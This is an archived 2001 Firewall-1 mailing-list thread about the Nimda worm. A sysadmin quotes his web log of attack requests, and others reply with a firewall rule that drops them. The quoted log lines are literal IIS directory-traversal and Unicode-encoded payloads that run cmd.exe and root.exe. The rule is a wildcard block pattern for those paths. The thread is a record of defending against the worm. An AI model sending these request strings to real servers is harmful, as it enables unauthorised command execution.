[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
RE: [FW1] New worm on the road?
Title: RE: [FW1] New worm on the road?
Yes, I did indeed denote the ACTION in my solution.
act: DROP
But, umpph, I think the abbrev. "act:" wasn't so clear.
Anyway, the ACTION is DROP.
Thank you also,
Mete...
-----Original Message-----
From: Mike Glassman - Admin [mailto:[email protected]]
Sent: Friday, September 21, 2001 8:32 PM
To: 'METE EMINAGAOGLU (IT)'
Subject: RE: [FW1] New worm on the road?
Mete,
Great rule.
I didn't see any definitions regarding the Action tab. Is this on purpose ?
I'd appreciate your replies re this.
Thanks,
Mike
> -----Original Message-----
> From: METE EMINAGAOGLU (IT) [SMTP:[email protected]]
> Sent: ä ñôèîáø 20 2001 19:24
> To: '[email protected]'
> Cc: '[email protected]'
> Subject: RE: [FW1] New worm on the road?
>
> Yes, I think everyone related with networking & security should have been
> aware till now somehow. (Since, W32/Nimda is so massive, aggressive, and
> posing many multi-functional different threats... Thanks to all the
> security vulnerabilities of Microsoft products!!!)
>
> Yes, you can create an http-security URI object. (Similar to the one used
> for CodeRed warm...)
>
> However, I should warn you that some people continously argue that this
> solution slows down http service in the FW, or crashes the FW
> completely... ?? (Although I have never faced such problems...)
>
> I'm still using different http and smtp-security server based rules in my
> FW. Even the one I' ve denoted below, no performance bottleneck so far...
>
> The solution: (A generic one for W32/Nimda, CodeRed, Sadmind/IIS)
>
> 1. Create A new URI Resource (say, Block_http),
>
> Tick both Connection Methods: "Transparent" & "Proxy"
> In the URI Match Spec. Type, choose "Wild Cards"
>
> Schemes: HTTP
> Method: GET, (you can also tick the other methods, if u'd like...)
> Host: *
> Path: {*default.ida?*,*cmd.exe?*,*root.exe?*,*dmin.dll,*/x,*readme.exe*}
> Query:*
>
> 2. Create a new rule on top of all the other http-based rules as;
>
> src: any
> dst: any
> svc: http --> Block_http
> act: DROP
>
> 3. Install the policy.
>
>
> BEST LUCK...
>
>
> PS:
>
> What' s more, you can also filter incoming or outgoing (or both) mails
> infected with this virus, by stripping MIME attachments with readme.exe or
> *.exe types. using FW' s smtp security server...
>
>
> -----Original Message-----
> From: [email protected] [ <mailto:[email protected]>]
> Sent: Wednesday, September 19, 2001 6:32 AM
> To: Patrick Coomans
> Cc: [email protected]
> Subject: Re: [FW1] New worm on the road?
>
>
>
>
> It's all over the news. The W32/Nimda worm (admin backwards). Feel free
> to read
> all about it. It's caused massive headaches all day today.
>
> <http://www.cert.org/advisories/CA-2001-26.html>
>
>
>
>
> "Patrick Coomans" <[email protected]> on 09/18/2001 05:35:36 PM
>
> To: [email protected]
> cc: (bcc: Harley S. Sanders/BAIS/BAReston)
>
> Subject: [FW1] New worm on the road?
>
>
>
>
> Since this evening I am experiencing massive attacks on HTTP (IIS oriented
> I
> presume) from many different IP addresses.
>
> They all look like:
>
> GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0
> GET /scripts/root.exe?/c+dir HTTP/1.0
> GET /MSADC/root.exe?/c+dir HTTP/1.0
> GET /MSADC/root.exe?/c+dir HTTP/1.0
> GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0
> GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0
> GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
> GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0
> GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0
> GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0
> GET
> /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/
> system32/cmd.exe?/c+dir
>
> HTTP/1.0
> GET
> /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/
> system32/cmd.exe?/c+dir
>
> HTTP/1.0
> GET
> /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/
> system32/cmd.exe?/c+dir
>
> HTTP/1.0
> GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
> GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0
> GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0
> GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
> GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
> GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
> GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
> GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
> GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
> GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0
> GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0
>
>
> Is anyone aware that this is some new kind of worm?
> Now my FW1 question: can I create a HTTP resource (secure server) that
> blocks
> all requests that e.g. have a .EXE in it ? Or would that slow my FW1's
> down to
> much?
>
> Any other suggestions for good products that can do HTTP content
> inspection and
> that cooperate or can co-exist with fw1 ?
>
>
> Thanks,
> Patrick
>
>